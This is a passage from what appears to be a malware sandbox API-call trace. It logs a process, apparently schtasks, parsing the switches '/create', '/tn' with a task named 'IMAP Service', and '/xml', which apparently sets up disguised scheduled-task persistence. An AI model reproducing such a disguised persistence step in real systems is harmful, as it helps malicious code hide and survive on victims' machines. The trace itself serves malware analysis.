(_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] lstrlenW (lpString="f") returned 1 [0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.873] lstrlenW (lpString="|tn|") returned 4 [0175.873] lstrlenW (lpString="|f|") returned 3 [0175.873] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0175.873] SetLastError (dwErrCode=0x490) [0175.873] lstrlenW (lpString="tr") returned 2 [0175.873] lstrlenW (lpString="tr") returned 2 [0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] lstrlenW (lpString="f") returned 1 [0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tr|") returned 4 [0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.873] lstrlenW (lpString="|tr|") returned 4 [0175.873] lstrlenW (lpString="|f|") returned 3 [0175.873] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0175.873] SetLastError (dwErrCode=0x490) [0175.873] lstrlenW (lpString="st") returned 2 [0175.873] lstrlenW (lpString="st") returned 2 [0175.873] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] lstrlenW (lpString="f") returned 1 [0175.873] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.873] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|st|") returned 4 [0175.873] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.873] lstrlenW (lpString="|st|") returned 4 [0175.873] lstrlenW (lpString="|f|") returned 3 [0175.873] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0175.873] SetLastError (dwErrCode=0x490) [0175.874] lstrlenW (lpString="sd") returned 2 [0175.874] lstrlenW (lpString="sd") returned 2 [0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] lstrlenW (lpString="f") returned 1 [0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sd|") returned 4 [0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.874] lstrlenW (lpString="|sd|") returned 4 [0175.874] lstrlenW (lpString="|f|") returned 3 [0175.874] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0175.874] SetLastError (dwErrCode=0x490) [0175.874] lstrlenW (lpString="ed") returned 2 [0175.874] lstrlenW (lpString="ed") returned 2 [0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] lstrlenW (lpString="f") returned 1 [0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ed|") returned 4 [0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.874] lstrlenW (lpString="|ed|") returned 4 [0175.874] lstrlenW (lpString="|f|") returned 3 [0175.874] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0175.874] SetLastError (dwErrCode=0x490) [0175.874] lstrlenW (lpString="it") returned 2 [0175.874] lstrlenW (lpString="it") returned 2 [0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] lstrlenW (lpString="f") returned 1 [0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|it|") returned 4 [0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.874] lstrlenW (lpString="|it|") returned 4 [0175.874] lstrlenW (lpString="|f|") returned 3 [0175.874] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0175.874] SetLastError (dwErrCode=0x490) [0175.874] lstrlenW (lpString="et") returned 2 [0175.874] lstrlenW (lpString="et") returned 2 [0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] lstrlenW (lpString="f") returned 1 [0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|et|") returned 4 [0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.874] lstrlenW (lpString="|et|") returned 4 [0175.874] lstrlenW (lpString="|f|") returned 3 [0175.874] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0175.874] SetLastError (dwErrCode=0x490) [0175.874] lstrlenW (lpString="k") returned 1 [0175.874] lstrlenW (lpString="k") returned 1 [0175.874] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] lstrlenW (lpString="f") returned 1 [0175.874] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.874] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|k|") returned 3 [0175.874] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.874] lstrlenW (lpString="|k|") returned 3 [0175.874] lstrlenW (lpString="|f|") returned 3 [0175.875] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0175.875] SetLastError (dwErrCode=0x490) [0175.875] lstrlenW (lpString="du") returned 2 [0175.875] lstrlenW (lpString="du") returned 2 [0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] lstrlenW (lpString="f") returned 1 [0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|du|") returned 4 [0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.875] lstrlenW (lpString="|du|") returned 4 [0175.875] lstrlenW (lpString="|f|") returned 3 [0175.875] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0175.875] SetLastError (dwErrCode=0x490) [0175.875] lstrlenW (lpString="ri") returned 2 [0175.875] lstrlenW (lpString="ri") returned 2 [0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] lstrlenW (lpString="f") returned 1 [0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ri|") returned 4 [0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.875] lstrlenW (lpString="|ri|") returned 4 [0175.875] lstrlenW (lpString="|f|") returned 3 [0175.875] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0175.875] SetLastError (dwErrCode=0x490) [0175.875] lstrlenW (lpString="z") returned 1 [0175.875] lstrlenW (lpString="z") returned 1 [0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] lstrlenW (lpString="f") returned 1 [0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|z|") returned 3 [0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.875] lstrlenW (lpString="|z|") returned 3 [0175.875] lstrlenW (lpString="|f|") returned 3 [0175.875] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0175.875] SetLastError (dwErrCode=0x490) [0175.875] lstrlenW (lpString="f") returned 1 [0175.875] lstrlenW (lpString="f") returned 1 [0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] lstrlenW (lpString="f") returned 1 [0175.875] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.875] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.875] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.875] lstrlenW (lpString="|f|") returned 3 [0175.875] lstrlenW (lpString="|f|") returned 3 [0175.875] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0175.875] SetLastError (dwErrCode=0x0) [0175.875] SetLastError (dwErrCode=0x0) [0175.875] SetLastError (dwErrCode=0x0) [0175.875] lstrlenW (lpString="/tn") returned 3 [0175.875] lstrlenW (lpString="-/") returned 2 [0175.875] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.875] lstrlenW (lpString="create") returned 6 [0175.875] lstrlenW (lpString="create") returned 6 [0175.875] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] lstrlenW (lpString="tn") returned 2 [0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8 [0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.876] lstrlenW (lpString="|create|") returned 8 [0175.876] lstrlenW (lpString="|tn|") returned 4 [0175.876] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0175.876] SetLastError (dwErrCode=0x490) [0175.876] lstrlenW (lpString="?") returned 1 [0175.876] lstrlenW (lpString="?") returned 1 [0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] lstrlenW (lpString="tn") returned 2 [0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|?|") returned 3 [0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.876] lstrlenW (lpString="|?|") returned 3 [0175.876] lstrlenW (lpString="|tn|") returned 4 [0175.876] SetLastError (dwErrCode=0x490) [0175.876] lstrlenW (lpString="s") returned 1 [0175.876] lstrlenW (lpString="s") returned 1 [0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] lstrlenW (lpString="tn") returned 2 [0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|s|") returned 3 [0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.876] lstrlenW (lpString="|s|") returned 3 [0175.876] lstrlenW (lpString="|tn|") returned 4 [0175.876] SetLastError (dwErrCode=0x490) [0175.876] lstrlenW (lpString="u") returned 1 [0175.876] lstrlenW (lpString="u") returned 1 [0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] lstrlenW (lpString="tn") returned 2 [0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|u|") returned 3 [0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.876] lstrlenW (lpString="|u|") returned 3 [0175.876] lstrlenW (lpString="|tn|") returned 4 [0175.876] SetLastError (dwErrCode=0x490) [0175.876] lstrlenW (lpString="p") returned 1 [0175.876] lstrlenW (lpString="p") returned 1 [0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] lstrlenW (lpString="tn") returned 2 [0175.876] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|p|") returned 3 [0175.876] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.876] lstrlenW (lpString="|p|") returned 3 [0175.876] lstrlenW (lpString="|tn|") returned 4 [0175.876] SetLastError (dwErrCode=0x490) [0175.876] lstrlenW (lpString="ru") returned 2 [0175.876] lstrlenW (lpString="ru") returned 2 [0175.876] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.876] lstrlenW (lpString="tn") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ru|") returned 4 [0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.877] lstrlenW (lpString="|ru|") returned 4 [0175.877] lstrlenW (lpString="|tn|") returned 4 [0175.877] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0175.877] SetLastError (dwErrCode=0x490) [0175.877] lstrlenW (lpString="rp") returned 2 [0175.877] lstrlenW (lpString="rp") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] lstrlenW (lpString="tn") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|rp|") returned 4 [0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.877] lstrlenW (lpString="|rp|") returned 4 [0175.877] lstrlenW (lpString="|tn|") returned 4 [0175.877] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0175.877] SetLastError (dwErrCode=0x490) [0175.877] lstrlenW (lpString="sc") returned 2 [0175.877] lstrlenW (lpString="sc") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] lstrlenW (lpString="tn") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sc|") returned 4 [0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.877] lstrlenW (lpString="|sc|") returned 4 [0175.877] lstrlenW (lpString="|tn|") returned 4 [0175.877] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0175.877] SetLastError (dwErrCode=0x490) [0175.877] lstrlenW (lpString="mo") returned 2 [0175.877] lstrlenW (lpString="mo") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] lstrlenW (lpString="tn") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|mo|") returned 4 [0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.877] lstrlenW (lpString="|mo|") returned 4 [0175.877] lstrlenW (lpString="|tn|") returned 4 [0175.877] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0175.877] SetLastError (dwErrCode=0x490) [0175.877] lstrlenW (lpString="d") returned 1 [0175.877] lstrlenW (lpString="d") returned 1 [0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] lstrlenW (lpString="tn") returned 2 [0175.877] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.877] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|d|") returned 3 [0175.877] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.877] lstrlenW (lpString="|d|") returned 3 [0175.877] lstrlenW (lpString="|tn|") returned 4 [0175.877] SetLastError (dwErrCode=0x490) [0175.877] lstrlenW (lpString="m") returned 1 [0175.877] lstrlenW (lpString="m") returned 1 [0175.877] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] lstrlenW (lpString="tn") returned 2 [0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|m|") returned 3 [0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.878] lstrlenW (lpString="|m|") returned 3 [0175.878] lstrlenW (lpString="|tn|") returned 4 [0175.878] SetLastError (dwErrCode=0x490) [0175.878] lstrlenW (lpString="i") returned 1 [0175.878] lstrlenW (lpString="i") returned 1 [0175.878] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] lstrlenW (lpString="tn") returned 2 [0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|i|") returned 3 [0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.878] lstrlenW (lpString="|i|") returned 3 [0175.878] lstrlenW (lpString="|tn|") returned 4 [0175.878] SetLastError (dwErrCode=0x490) [0175.878] lstrlenW (lpString="tn") returned 2 [0175.878] lstrlenW (lpString="tn") returned 2 [0175.878] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] lstrlenW (lpString="tn") returned 2 [0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.878] lstrlenW (lpString="|tn|") returned 4 [0175.878] lstrlenW (lpString="|tn|") returned 4 [0175.878] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0175.878] SetLastError (dwErrCode=0x0) [0175.878] SetLastError (dwErrCode=0x0) [0175.878] lstrlenW (lpString="IMAP Service") returned 12 [0175.878] lstrlenW (lpString="-/") returned 2 [0175.878] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0175.878] SetLastError (dwErrCode=0x490) [0175.878] SetLastError (dwErrCode=0x490) [0175.878] SetLastError (dwErrCode=0x0) [0175.878] lstrlenW (lpString="IMAP Service") returned 12 [0175.878] StrChrIW (lpStart="IMAP Service", wMatch=0x3a) returned 0x0 [0175.878] SetLastError (dwErrCode=0x490) [0175.878] SetLastError (dwErrCode=0x0) [0175.878] lstrlenW (lpString="IMAP Service") returned 12 [0175.878] SetLastError (dwErrCode=0x0) [0175.878] SetLastError (dwErrCode=0x0) [0175.878] lstrlenW (lpString="/xml") returned 4 [0175.878] lstrlenW (lpString="-/") returned 2 [0175.878] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.878] lstrlenW (lpString="create") returned 6 [0175.878] lstrlenW (lpString="create") returned 6 [0175.878] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] lstrlenW (lpString="xml") returned 3 [0175.878] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.878] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8 [0175.878] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.878] lstrlenW (lpString="|create|") returned 8 [0175.878] lstrlenW (lpString="|xml|") returned 5 [0175.878] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0 [0175.879] SetLastError (dwErrCode=0x490) [0175.879] lstrlenW (lpString="?") returned 1 [0175.879] lstrlenW (lpString="?") returned 1 [0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] lstrlenW (lpString="xml") returned 3 [0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|?|") returned 3 [0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.879] lstrlenW (lpString="|?|") returned 3 [0175.879] lstrlenW (lpString="|xml|") returned 5 [0175.879] SetLastError (dwErrCode=0x490) [0175.879] lstrlenW (lpString="s") returned 1 [0175.879] lstrlenW (lpString="s") returned 1 [0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] lstrlenW (lpString="xml") returned 3 [0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|s|") returned 3 [0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.879] lstrlenW (lpString="|s|") returned 3 [0175.879] lstrlenW (lpString="|xml|") returned 5 [0175.879] SetLastError (dwErrCode=0x490) [0175.879] lstrlenW (lpString="u") returned 1 [0175.879] lstrlenW (lpString="u") returned 1 [0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] lstrlenW (lpString="xml") returned 3 [0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|u|") returned 3 [0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.879] lstrlenW (lpString="|u|") returned 3 [0175.879] lstrlenW (lpString="|xml|") returned 5 [0175.879] SetLastError (dwErrCode=0x490) [0175.879] lstrlenW (lpString="p") returned 1 [0175.879] lstrlenW (lpString="p") returned 1 [0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] lstrlenW (lpString="xml") returned 3 [0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|p|") returned 3 [0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.879] lstrlenW (lpString="|p|") returned 3 [0175.879] lstrlenW (lpString="|xml|") returned 5 [0175.879] SetLastError (dwErrCode=0x490) [0175.879] lstrlenW (lpString="ru") returned 2 [0175.879] lstrlenW (lpString="ru") returned 2 [0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] lstrlenW (lpString="xml") returned 3 [0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ru|") returned 4 [0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.879] lstrlenW (lpString="|ru|") returned 4 [0175.879] lstrlenW (lpString="|xml|") returned 5 [0175.879] SetLastError (dwErrCode=0x490) [0175.879] lstrlenW (lpString="rp") returned 2 [0175.879] lstrlenW (lpString="rp") returned 2 [0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] lstrlenW (lpString="xml") returned 3 [0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|rp|") returned 4 [0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.880] lstrlenW (lpString="|rp|") returned 4 [0175.880] lstrlenW (lpString="|xml|") returned 5 [0175.880] SetLastError (dwErrCode=0x490) [0175.880] lstrlenW (lpString="sc") returned 2 [0175.880] lstrlenW (lpString="sc") returned 2 [0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] lstrlenW (lpString="xml") returned 3 [0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sc|") returned 4 [0175.880] _vsnwprintf (in: _Buffer=0x4e5258, 